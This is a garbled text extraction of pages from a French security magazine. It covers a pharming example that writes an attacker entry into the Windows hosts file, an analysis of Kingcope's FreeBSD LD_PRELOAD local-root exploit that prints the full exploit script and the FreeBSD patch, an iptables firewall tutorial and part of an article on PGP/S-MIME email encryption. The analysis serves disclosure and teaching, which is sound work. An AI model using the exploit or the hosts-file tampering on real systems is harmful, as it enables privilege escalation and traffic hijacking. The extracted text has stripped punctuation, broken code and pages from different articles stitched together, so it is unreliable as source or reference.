pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 21: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

6201024

Seacutecuriteacute reacuteSeaux

iptables -L -n -v --line

Remise agrave zeacutero des compteurs

iptables -Z

Pour supprimer une regravegle gracircce agrave son numeacutero de ligne

iptables -D ltchaicircnegt numeacutero

Pour sauvegarder les regravegles dans un fichier

iptables-save gt fichier_de_sauvegarde

Pour restaurer les regravegles agrave partir dun fichier

iptables-restore lt fichier_de_sauvegarde

Fichier de configuration pour iptables

etcsysconfigiptables-config

Fichier de sauvegarde des regravegles (sauf les systegravemes agrave base DEBIAN)

etcsysconfigiptables

Sauvegarde du fichier de configuration (ne fonction-ne pas sous DEBIAN il faut creacuteer un script et le placer dans etcnetworkif _ preupd)

iptables save

creacuteation de regravegles simples avec iptablesAttention dans tous les exemples de cette partie je considegravere que la machine na quune seule carte reacute-seau il faut utiliser -i ltinterfacegt pour un paquet pro-venant dune interface ou -o ltinterfacegt pour un paquet sortant dans chacune des regravegles

Avant de commencer la reacutedaction de nos regravegles de filtrage il est important de commencer sur des bases saines nous allons donc effacer le contenu des tables (ici je ninitialise que la table FILTER)

iptables -F

iptables -X

Il faut maintenant impleacutementer la regravegle de base on DROP tous les paquets puis on accepte les flux dont on a besoin

iptables -P INPUT DROP

iptables -P OUTPUT DROP

iptables -P FORWARD DROP

Nous pouvons maintenant commencer agrave mettre en pla-ce nos regravegles je tiens agrave preacuteciser que chacune des regravegles que je vais impleacutementer sera indeacutependante des autres afin de garder une coheacuterence globale en cas de besoin de suppression certaines pratiques que je ne recomman-de pas sont dimpleacutementer sur les trois chaines principales (INPUT OUTPUT et FORWARD) un suivi de connexion globale afin de faciliter la creacuteation des regravegles (je nai plus agrave me soucier du retour je creacutee simplement la regravegle dinitia-tion de la connexion) Cette maniegravere de faire simpliste peut engendrer des trous beacuteants dans le pare-feu je vous re-commande donc deacuteviter ce genre de pratique

Nous allons maintenant autoriser le LOOPBACK (le reacuteseau local de la machine)

iptables -A INPUT -i lo -j ACCEPT

iptables -A OUTPUT -o lo -j ACCEPT

Autorisation du PING

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

ICMP -s 19216802 -j ACCEPT

Figure 5 Firewall Builder

Firewall

hakin9orgfr 25

iptables -A INPUT -m state --state ESTABLISHED -p ICMP

-d 19216802 -j ACCEPT

Vous noterez ici que je nai pas stipuleacute la destination en 0000 en effet cest la valeur par deacutefaut si elle est non preacuteciseacutee

Autoriser le DNS

iptables -A OUTPUT -m state --state NEWESTABLISHED -

p UDP -s 19216802 -d 19216801 --sport

1024 --dport 53 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p UDP -s

19216801 -d 19216802 --sport 53 --dport

1024 -j ACCEPT

Ici mon serveur DNS et routeur est en IP 19216801 La commande --dport 1024 signifie que le port de des-tination est un port supeacuterieur agrave 1024

Autoriser le HTTP et HTTPS

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 80 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 80 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 443

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 443 --dport 1024 -j

ACCEPT

Autoriser le SMTP POP3 et IMAP

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 25 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 25 --dport 1024 -j ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 110

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 110 --dport 1024 -j

ACCEPT

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 143

-j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 143 --dport 1024 -j

ACCEPT

Autoriser SSH (on autorise une connexion sur notre machine sur ssh agrave partir de la machine 16216803)

table 1 Table des flux

Description Entreacutee Sortie

Eacutetat Proto-cole

IP source Port source IP destination Port destina-tion

PING OUTPUT NEW ESTABLISHED ICMP 19216802 (aucun) 0000 (aucun)

PING INPUT ESTABLISHED ICMP 0000 (aucun) 19216802 (aucun)

DNS OUTPUT NEW ESTABLISHED UDP 19216802 gt1024 0000 53

DNS INPUT ESTABLISHED UDP 0000 53 19216802 gt1024

HTTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 80

HTTP INPUT ESTABLISHED TCP 0000 80 19216802 gt1024

HTTPS OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 443

HTTPS INPUT ESTABLISHED TCP 0000 443 19216802 gt1024

SMTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 25

SMTP INPUT ESTABLISHED TCP 0000 25 19216802 gt1024

POP3 OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 110

POP3 INPUT ESTABLISHED TCP 0000 110 19216802 gt1024

IMAP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 143

IMAP INPUT ESTABLISHED TCP 0000 143 19216802 gt1024

FTP OUTPUT NEW ESTABLISHED TCP 19216802 gt1024 0000 21

FTP INPUT ESTABLISHED TCP 0000 21 19216802 gt1024

FTP (actif) INPUT RELATED ESTABLI-SHED

TCP 0000 20 19216802 gt1024

FTP (actif) OUTPUT ESTABLISHED TCP 19216802 gt1024 0000 20

FTP (passif) INPUT RELATED ESTABLI-SHED

TCP 19216802 gt1024 0000 gt1024

FTP (passif) OUTPUT ESTABLISHED TCP 0000 gt1024 19216802 gt1024

6201026

Seacutecuriteacute reacuteSeaux

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 22 -d 19216803

--dport 1024 -j ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 -s 19216803 --

dport 22 -j ACCEPT

On remarque ici que les regravegles se ressemblent beau-coup avec iptables une fois les quelques regravegles stan-dard effectueacutees cest assez simple dutilisation

Veacuterifier la mise en place des regraveglesVoilagrave nous venons de mettre tout un tas de regravegles en place mais il faut maintenant les tester Pour ce faire il existe plusieurs possibiliteacutes

bull le test de chacun des protocoles utiliseacutes (nous al-lons bien tester si le protocole passe mais pas si les autres sont filtreacutes)

bull lutilisation dun outils automatiseacute de scan de ports qui permettrait de tester lensemble des ports dis-ponibles sur ma machine (cest lexemple que nous allons prendre ici)

Afin de tester si le pare-feu de ma machine est bien configureacute (voir Figure 4) il faut se positionner sur une autre machine de mon reacuteseau et utiliser loutils Nmap (disponible sur le site httpnmaporg)

Dans un premier temps nous allons essayer un scan des 65535 ports en TCP SYN (demi-ouvert) le but eacutetant daller assez vite cette meacutethode agrave lavantage de nous informer sur la nature du reacutesultat (port ouvert fermeacute filtreacute)

nmap -sS 19216802 -p-

Si on essaie cette commande normalement aucun reacute-sultat ne devrais ecirctre reccedilu nmap effectue un PING sur la cible avant de commencer le scan et lICMP est ici filtreacute Nous avons donc bien veacuterifieacute que lICMP eacutetait bloqueacute Pour speacutecifier agrave nmap de ne pas effectuer de PING il suffit dajouter loption -P0

nmap -P0 -sS 19216802 -p-

On obtient le port 22 douvert (nous avions appliqueacute une regravegle pour permettre ladministration distante) et tous les autres de filtreacutes Il faut maintenant tester les regravegles agrave partir de notre pare-feu vers une machine dis-tante (ici 19216803) qui ne possegravede pas de pare-feux

nmap -sS 19216803 -p-

On obtient bien un filtrage de tous les ports excepteacutes les services autoriseacutes

creacuteation de regravegles avanceacutees avec iptablesNous allons maintenant mettre en place les regravegles de filtrage pour lutilisation de FTP Les regravegles de filtrage pour une connexion FTP active sont assez simples

iptables -A OUTPUT -m state --state NEWESTABLISHED -p

TCP -s 19216802 --sport 1024 --dport 21 -j

ACCEPT

iptables -A INPUT -m state --state ESTABLISHED -p TCP -d

19216802 --sport 21 --dport 1024 -j ACCEPT

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -d 19216802 --sport 20 --dport 1024

-j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-s 19216802 --sport 1024 --dport 20 -j

ACCEPT

Mais voilagrave dans la majoriteacute des cas si vous avez un routeur et que vous souhaitez teacuteleacutecharger des fichiers vous devez utiliser le mode passif La probleacutematique du mode passif est que nous ne connaissons ni le port source ni le port destination et agrave moins de nutili-ser quun serveur FTP en IP fixe et bien on ne connaicirct pas non plus lIP distante Cela pose un sacreacute problegrave-me imaginez creacuteer une regravegle ougrave lon dit

Jaccepte toutes les connexions provenant de tous les ports distants vers tous mes ports Une telle regravegle mettrait en lair tout le filtrage mis en place Netfilter ne permet pas de geacuterer ce genre de besoin en natif heureusement il est possible dajouter des modules qui eux le gegraverent

Et si je veux filtrer par adresse MAC Exemple

iptables -A INPUT -m mac ndashmac-source 00AABBCCDDEE

ajout de module compleacutementairePour autoriser la gestion de la commande RELATED qui permet deffectuer un suivi de connexion dans le ca-dre du protocole FTP il faut que le module ip_conntrack_ftp soit activeacute dans le fichier etcsysconfigiptables-config pour les distributions Ubuntu il faut ajouter la comman-de modprobe ip_conntrack_ftp dans le fichier etcmodules (si vous souhaitez charger le module maintenant il suffit de taper modprobe ip_conntrack_ftp) On peut maintenant ajouter la regravegle pour prendre en compte les connexions passives pour FTP

iptables -A INPUT -m state --state RELATEDESTABLISHED

-p TCP -s 19216802 --sport 1024 --dport

1024 -j ACCEPT

iptables -A OUTPUT -m state --state ESTABLISHED -p TCP

-d 19216802 --sport 1024 --dport 1024 -j

ACCEPT

utilisation du NatLa redirection de flux est tregraves inteacuteressante et tregraves puis-sante vous pouvez facilement transformer la machine

Firewall

hakin9orgfr 27

locale en routeur Si cest votre besoin pensez agrave activer la redirection avec la commande

sysctl -w netipv4ip_forward=1

ou dans le fichier etcsysctlconf appliquer la ligne netipv4ip _ forward=1

Nous allons ici voir un exemple simple qui redirigera toutes les connexions sortantes de telnet vers le ser-veur telnet local

iptables -t NAT -A OUTPUT -p tcp --dport 23 -j DNAT --

to-destination 19216802

Faciliter la journalisationPour rendre les journaux daudit plus faciles agrave lire il peut ecirctre inteacuteressant de creacuteer des chaicircnes Ici nous al-lons enregistrer la connexion au service ssh local lop-tion limit permet de limiter (au bout de 5 requecirctes) la journalisation

iptables -A INPUT -p TCP --syn -d 19216802 ndashdport 22

-j LOG --log-prefi x CONNEXION AU TELNET --

log-level warn -m limit --limit 1m

Pour lire les messages

less varlogmessages

Exemple de regravegles permettant de journaliser tous les paquets bloqueacutes

iptables -N LOG DROP

iptables -A LOG DROP -j LOG - log-prefi x [iptables_

DROP]

iptables -A LOG DROP -j DROP

et iPV6 Cest bien beau tout ccedila je vous ai preacutesenteacute les bases pour travailler avec Netfilteriptables sous IPV4 mais pour IPV6 quelques eacuteleacutements changent Le premier qui est dune importance capitale est ladressage on passe de 32bits (IPV4) agrave 128bits (IPV6) au lieu donc davoir une adresse en 4 parties 19216802 on se retrouve avec une adresse en 8 parties 12340000002 le multicast local quand agrave lui qui seacutecrivait 1921680024 seacutecrit main-tenant 1234000000016 Pour plus dinformation sur lIPV6 allez voir les RFC correspondantes

La creacuteation des regravegles dans un premier temps nous nutilisons plus la commande iptables mais ip6tables

lutilisation est quasiment identique la diffeacuterence est vi-sible pour seulement quelques protocoles On peut aus-si simplifier leacutecriture par exemple lors de lutilisation de ladresse 12340000002 je peut leacutecrire 12342

Afficher la liste des regravegles de filtrages en numeacuterotant les lignes en indiquant le nombre de paquets traiteacutes sans faire de reacutesolution de port

ip6tables -L -n -v --linePour supprimer une regravegle gracircce agrave son numeacutero de li-

gne

ip6tables -D ltchaicircnegt numeacutero

Exemple autorisation du PING (icmpv6)

ip6tables -A INPUT -p icmpv6 -j ACCEPT

ip6tables -A OUTPUT -p icmpv6 -j ACCEPT

ip6tables -A INPUT -p icmpv6 --icmpv6-type echo-request

-j ACCEPT

Bloquer les requecirctes de connexion entrante

ip6tables -I INPUT -p tcp --syn -j DROP

Je nentrerais pas plus dans le deacutetail le filtrage IPV6 demande un article agrave lui seul et la majoriteacute des reacute-seaux sont encore en IPV4

autres solutionsMaintenant que nous avons vu iptables il existe des solutions pour configurer le pare-feu graphiquement je ne vais pas eacutenumeacuterer les nombreux logiciels existant mais simplement je vous parler de Firewall Builder (voir Figure 5) qui existe sous Linux MacOS et Windows en double licence (GNU Public License pour les systegravemes dexploitation libres et payant pour les autre) Il supporte iptables (Netfilter) ipfilter pf ipfw Cisco PIX (FWSM ASA) et les extended access lists des routeurs Cisco Autant dire que cet outil est tregraves inteacuteressant Sachez que mecircme si vous avez deacutejagrave fait votre configuration avec iptables cet outil permet de louvrir vous navez donc pas besoin de recommencer tout je vous conseille vi-vement de le tester Si vous avez fait le tableau de flux vu preacuteceacutedemment vous vous rendrez compte que luti-lisation est eacutequivalente agrave faire ce tableau attention tout de mecircme en cas de creacuteation de plusieurs profils agrave ne pas oublier dappliquer le bon profil

Agrave PrOPOS De LauteurAutodidacte depuis plus de dix ans dans le domaine du deacutevel-oppement et ladministration lauteur e ectue des audits de seacutecuriteacute informatique pour le compte dun grand groupe franccedilaisMail hantevillenicolasfreefr

Deacutefi nitionUn fi rewall (mur de feupare-feu) est un systegraveme permettant deff ectuer un controcircle des fl ux entrants et sortants sur un reacute-seau ou une machine

6201028

Seacutecuriteacute reacuteSeaux

Aujourdhui le besoin denvoyer des mails est critique plus personne ne peut sen passer pour un usage personnel ou professionnel

Tout dabord le chiffrement de leacutechange de mails chif-freacutes avec (SSLTLS) nest pas proposeacute par tous les fournisseurs daccegraves ou dadresses mails Free par exemple De plus mecircme si lon chiffre la communica-tion avec notre serveur SMTP pour lenvoi de mail rien ne nous garanti que durant sa transmission il sera re-layeacute avec une communication chiffreacutee Le chiffrement de la communication nest donc pas suffisant dautant plus quil ne reacutesoud pas certains problegravemes Il est en effet connu de tous que Google analyse nos mails afin de faire de la publiciteacute cibleacutee et que certains sites peu scrupuleux essayent nos identifiants et mots de pas-se sur nos adresses mails La reacuteponse agrave la question pourquoi signer et chiffrer ses mails prend donc tout son sens avec le chiffrement du contenu des mails Il est donc important de sassurer que certains eacutechan-ges par mails restent confidentiels via la signature et le chiffrement Dune part signer un mail permet au destinataire de sassurer de lidentiteacute de lexpeacutediteur et du contenu du mail Dautre part chiffrer permet das-surer agrave lexpeacutediteur que seul le destinataire pourra lire le mail Bien entendu chiffrer le contenu du mail ne dispense pas de chiffrer la communication avec SSL les deux fonctionnant agrave des niveaux diffeacuterentes cela ne pose aucun problegraveme Nous verrons que lon peut facilement et rapidement mettre en place une solution de chiffrement et de signature en utilisant soit PGP soit

SMIME Les deux permettent de signer et de chiffrer des mails bien que leur fonctionnement et leur utilisa-tion diffegraverent

PGPPGP est un systegraveme de chiffrement eacutelaboreacute par Phi-lip Zimmermann en 1991 Il na pas eacuteteacute conccedilu dans le but unique de chiffrer des mails mais dans un but plus geacuteneacuteral de chiffrement de documents Cest pour cette raison quil a parfois du mal agrave sadapter au formatage dun mail Ce systegraveme a eacuteteacute normaliseacute par LIETF dont OpenPGP est le standard Les deux grandes impleacute-mentations de OpenPGP sont PGP de la PGP Corpo-ration et GnuPG sous licence GPL Par la suite nous nutiliserons que GnuPG(ou GPG) car il est libre Il nen reste pas moins compatible avec limpleacutementa-tion de la PGP Corp

caracteacuteristiques techniquesDun point de vue technique GPG utilise DSA et Elga-mal comme algorithme de chiffrement asymeacutetrique par deacutefaut Il est maintenant possible dutiliser RSA car ce-lui-ci nest plus breveteacute Il diffegravere sur le principe car RSA est baseacute sur la difficulteacute de factoriser des grands nom-bres en nombres premiers alors que DSA et Elgamal sont fondeacutes sur la difficulteacute de reacutesoudre les logarithme discrets En terme de chiffrement symeacutetrique GPG pro-pose notamment le 3DES et lAES ce qui lui vaut lap-pellation de cryptographie ou cryptosystegraveme hybride car mecirclant cryptographie symeacutetrique et asymeacutetrique

chiffrement des mails

Cet article preacutesente le fonctionnement du chiffrement et de la signature des mails On sinteacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lutilisation des deux grandes technologies du domaine PGP et SMIME Nous allons donc voir comment fonctionne le chiffrement et la signature comment creacuteer ou se procurer cleacutes et certificats et comment les mettre en oeuvre dans un client de messagerie

cet article expliquebull Comment utiliser GPG pour chiffrer et signer des mails et par

extension chiffrer et signer des fichiersbull Comment utiliser les certificats personnels SMIME pour sig-

ner et chiffrer des mails

ce quil faut savoirbull Notions de base en cryptographie asymeacutetrique et symeacutetriquebull Comment fonctionner un service de messagerie(SMTP IMAP)

et le configurer dans un client de messagerie

robin David

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

